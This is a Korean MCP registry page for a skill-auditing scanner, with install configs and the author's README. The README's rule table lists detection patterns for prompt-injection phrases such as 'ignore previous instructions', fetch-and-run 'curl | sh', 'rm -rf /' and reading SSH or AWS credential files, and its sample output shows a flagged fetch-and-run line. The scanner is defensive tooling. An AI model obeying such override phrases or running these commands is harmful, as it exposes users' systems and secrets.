MCP Skill Sec

Name: MCP Skill Sec
Author: sudo-ai-git

제작자: sudo-ai-git버전 1.0.0i★ –i내 컴퓨터에서 실행

레지스트리 이름io.github.sudo-ai-git/mcp-skill-sec

설치

개요

제작자가 쓴 설명(영어 원문)

Audit agent skills/prompts against 8 supply-chain attack patterns. Deterministic, no-LLM scanner.

PopNx MCP의 세 기둥

이 세 가지는 절대 하나의 점수로 합치지 않아요. 의견, 측정, 인기는 서로 다른 것이니까요.

사용자 의견i아직 리뷰가 없어요리뷰는 다음 단계에서 계정 기능과 함께 열려요
우리의 기본 점검i1개 중 1개 통과공개된 정보로 점검했으며, 코드는 아직 스캔하지 않았어요
사용 정도i아직 측정 안 함★ –

할 수 있는 일

이 서버는 아직 쉬운 말로 된 요약을 쓰지 못했어요. 아래는 레지스트리에서 읽어 온 사실이에요.

연결 방식: 내 컴퓨터에서 실행
전송 방식: stdio
카테고리: 검색 및 AI 기억

설치

쓰고 있는 AI 앱을 고른 다음 설정을 복사하세요.

설치하기 전에

기본 점검: 1개 중 1개 통과
내 컴퓨터에서 내 사용자 계정의 권한(파일, 네트워크, 앱)으로 실행돼요.
레지스트리에 입력해야 할 키가 나와 있지 않아요.

필요한 것

PyPIPython의 uv 설치(uvx 명령어용)

어떤 앱을 쓰세요?

ClaudeClaude CodeCursorVS CodeChatGPT

위에서 앱을 고르세요. 기억해 두었다가 다음부터는 버튼에 “…에 설치”라고 표시해요.

Claude Desktop → Settings → Developer → Edit Config를 열고 claude_desktop_config.json에 이 내용을 붙여 넣으세요

{
  "mcpServers": {
    "skill-sec": {
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

터미널에서 이 명령어를 실행하세요

claude mcp add skill-sec -- uvx mcp-skill-sec

Cursor에서 열기

또는 설정을 직접 복사하기

프로젝트의 .cursor/mcp.json 또는 ~/.cursor/mcp.json에 붙여 넣으세요

{
  "mcpServers": {
    "skill-sec": {
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

브라우저가 앱을 열지 물어본 다음, 앱이 설정을 보여 주고 확인을 요청해요. 키 값은 비워 두니 직접 입력하세요.

VS Code에서 열기

또는 설정을 직접 복사하기

프로젝트의 .vscode/mcp.json에 붙여 넣으세요

{
  "servers": {
    "skill-sec": {
      "type": "stdio",
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

브라우저가 앱을 열지 물어본 다음, 앱이 설정을 보여 주고 확인을 요청해요. 키 값은 비워 두니 직접 입력하세요.

이 서버는 내 컴퓨터에서 실행되는데, ChatGPT는 인터넷에 있는 서버에만 연결할 수 있어요. 다른 앱을 고르세요.

선택한 앱은 이 기기의 쿠키에만 저장돼요. 계정은 필요 없어요.

이 설정은 제작자의 레지스트리 정보로 만들었어요. README와 다르면 README를 따르세요.

할 수 있는 일

내 컴퓨터에서 실행돼요. 설치하면 AI 앱에 도구 목록이 나타나요.

기본 점검i

누구나 볼 수 있는 정보를 점검했고, 코드는 읽지 않았어요. 해당하지 않는 항목은 개수에서 뺐어요. · 2026년 11월 6일 점검

✓ 통과
제작자와 저장소 일치
레지스트리 이름이 GitHub 계정 sudo-ai-git 기준으로 확인되었고, 이 계정이 저장소를 소유하고 있어요
… 아직 점검 안 함
계속 관리되고 있음
아직 GitHub에서 이 저장소를 읽어 오지 않았어요
… 아직 점검 안 함
라이선스 있음
아직 GitHub에서 이 저장소를 읽어 오지 않았어요
– 해당 없음
엔드포인트 응답
내 컴퓨터에서 실행되는 서버라 인터넷 엔드포인트가 없어요
– 해당 없음
OAuth로 로그인
내 컴퓨터에서 실행되며, 대신 로컬 설정을 사용해요
… 아직 점검 안 함
도구 설명에 숨겨진 지시 없음
내 컴퓨터에서 실행돼요. 도구 목록은 인터넷 엔드포인트가 있는 서버에서만 읽을 수 있어요

검색 및 AI 기억 카테고리의 다른 서버와 비교i

이 카테고리의 다른 서버 7248개 중 0%보다 스타가 많아요
이 카테고리의 다른 서버 7248개 중 34%보다 최근에 레지스트리에 공개됐어요
기본 점검 결과가 이 카테고리의 다른 서버 7248개 중 100%와 같거나 더 좋아요

레지스트리에서 이 카테고리의 활성 서버 전체와 비교했어요. 스타는 게시자가 저장소를 소유한 경우에만 세요.

자주 묻는 질문

MCP Skill Sec, 안전한가요?

해당하는 기본 점검 1개 중 1개를 통과했어요. 코드는 읽지 않았어요. 키나 토큰을 넣기 전에 서버가 어떤 권한을 요구하는지 확인하고, 꼭 필요한 권한만 있는 키를 쓰세요.

어떤 키나 코드가 필요한가요?

레지스트리에 필수 키가 나와 있지 않아요. 다만 처음 쓸 때 로그인을 요구하는 서버도 있어요.

내 컴퓨터에서 실행되나요, 클라우드에서 실행되나요?

내 컴퓨터에서 실행돼요. AI 앱이 필요할 때 실행하고, 데이터는 제작자의 서버를 거치지 않아요(서버 자체가 온라인 서비스를 호출하는 경우는 제외).

아직 관리되고 있나요?

GitHub 저장소는 마지막으로 – 변경됐고, 최신 버전(1.0.0)은 2개월 전 레지스트리에 올라왔어요.

어떤 앱에서 쓸 수 있나요?

Claude Desktop, Claude Code, Cursor, VS Code처럼 MCP를 지원하는 앱에서 쓸 수 있어요. 내 컴퓨터에 Python (uv)도 있어야 해요.

대신 쓸 수 있는 건 뭐가 있나요?

같은 카테고리에는: Context7, Codebase Memory, Exa

대안

같은 카테고리에서 다른 제작자가 만든 서버예요. 스타 순으로 정렬했어요.

카드 보는 법:★ GitHub 스타i세 기둥: 리뷰 · 점검 · 사용 정도i업데이트 = 최신 버전을 레지스트리에 공개한 날i

Context7

제작자: upstash

Up-to-date docs for AI agents

컴퓨터 또는 클라우드★ 64,224MIT오늘 업데이트

설치

Codebase Memory

제작자: DeusData

Codebase knowledge graph for AI agents — 162 languages, sub-ms queries, 99% fewer tokens.

내 컴퓨터에서 실행★ 48,148MIT20일 전 업데이트

설치

Exa

제작자: exa-labs

Connect AI agents to Exa for web search, content fetching, and multi-step research.

클라우드에서 실행★ 5,213MIT지난달 업데이트

설치

제작자의 README

README 열기

제작자의 저장소에서 쓰인 그대로 가져왔어요. PopNx MCP가 검토하거나 보증한 내용이 아니에요. HTML, 이미지, 스크립트는 제거했어요. 링크를 누르면 이 사이트를 벗어나요.

mcp-skill-sec

A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.

Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.

What it scans for (rules R1–R8)

Rule	Pattern
R1	Prompt injection / instruction hijack (`ignore previous instructions`, secrecy directives, identity overrides)
R2	Data exfiltration intent (send/post/email contents to a URL, log theft)
R3	Hardcoded secrets / credentials (API keys, PATs, private keys, connection strings)
R4	Dangerous commands (`rm -rf /`, `curl \	sh`, fork bombs, raw device writes)
R5	Obfuscation / hidden behavior (base64-exec, eval/exec, zero-width chars)
R6	Untrusted external fetches (fetch-and-run, non-PyPI installs)
R7	Credential access (reading `~/.ssh`, `.aws/credentials`, `.env`)
R8	Privilege escalation (`sudo -s`, setuid, adding to sudo group)

Each finding carries a severity (critical/high/medium/low), a line number, and the matching evidence line. The overall verdict is PASS only when there are no critical/high findings and every medium finding is benign.

Tools

audit_text(text, filename) — audit a string (a skill you were pasted, a system prompt you didn't write).
audit_skill_file(path) — audit a SKILL.md / AGENTS.md / CLAUDE.md on disk, line-numbered evidence.
audit_directory(path, pattern) — audit a whole downloaded skills collection; returns per-file verdicts + a summary.
rule_list() — dump the rule catalog.

Install & run

One command (recommended) — installs from the repo, no PyPI token needed:

uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec

then register with your agent:

mcp-skill-sec # run stdio server mcp-skill-sec --http --port 8137 # or Streamable HTTP for remote use

Or with pipx: pipx install git+https://github.com/sudo-ai-git/mcp-skill-sec

Direct from source (fallback):

pip install mcp

python3 mcp_server.py # run stdio mcp install mcp_server.py --name skill-sec # register with Claude Desktop

Claude Desktop / agent config

"mcpServers": { "skill-sec": { "command": "mcp-skill-sec", "args": [] } } }

Example

skill-sec: /tmp/downloaded-skill/SKILL.md

verdict : FLAG counts : critical 1, high 2, medium 1, low 0 R3 [critical] line 11: api_key = "sk-live-…" R3 [high] line 14: password = "hunter2" R4 [critical] line 22: curl https://x/y.sh | sh action : remove the literal secrets, drop the fetch-and-run, re-audit

Part of a family

This is one of three deterministic, no-LLM agent-trust MCP servers by sudo-ai-git:

mcp-skill-sec — pre-install skill/security audit (this repo)
mcp-verify-claim — evidence-gated, honestly-tiered claim reporting
mcp-benchmark-hygiene — pytest config-leakage / eval-honesty detection

Sibling product: mcp-token-saver — token-cost proxy + analyzer for agent conversations (dedupes redundant tokens before they're billed; live-proven 74% cut). Discussion

Also in the family (a free CLI, not an MCP server): harness-audit — deterministic agent-eval / benchmark-grading hygiene audit that catches the same silent config-leakage mis-scoring class. Free lead-magnet; the same verification discipline, zero dependencies, auditable line-by-line.

License & provenance

MIT. Written by sudo-ai-git. This is a standalone security/verification tool; it encodes no proprietary method. It is the MCP expression of the skill-sec agent skill (same rules, callable as a server instead of a skill).

Official MCP Registry metadata

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

Hire a custom integration

Need this connected to *your* internal system (auth, logging, security-scan pass, hosted)? Open a custom-build request. MIT reference assets are free to use either way.

MCP Skill Sec

개요

PopNx MCP의 세 기둥

할 수 있는 일

설치

설치하기 전에

할 수 있는 일

기본 점검i

제작자와 저장소 일치

계속 관리되고 있음

라이선스 있음

엔드포인트 응답

OAuth로 로그인

도구 설명에 숨겨진 지시 없음

검색 및 AI 기억 카테고리의 다른 서버와 비교i

자주 묻는 질문

대안

Context7

Codebase Memory

Exa

제작자의 README

mcp-skill-sec

What it scans for (rules R1–R8)

Tools

Install & run

then register with your agent:

Claude Desktop / agent config

Example

Part of a family

License & provenance

Official MCP Registry metadata

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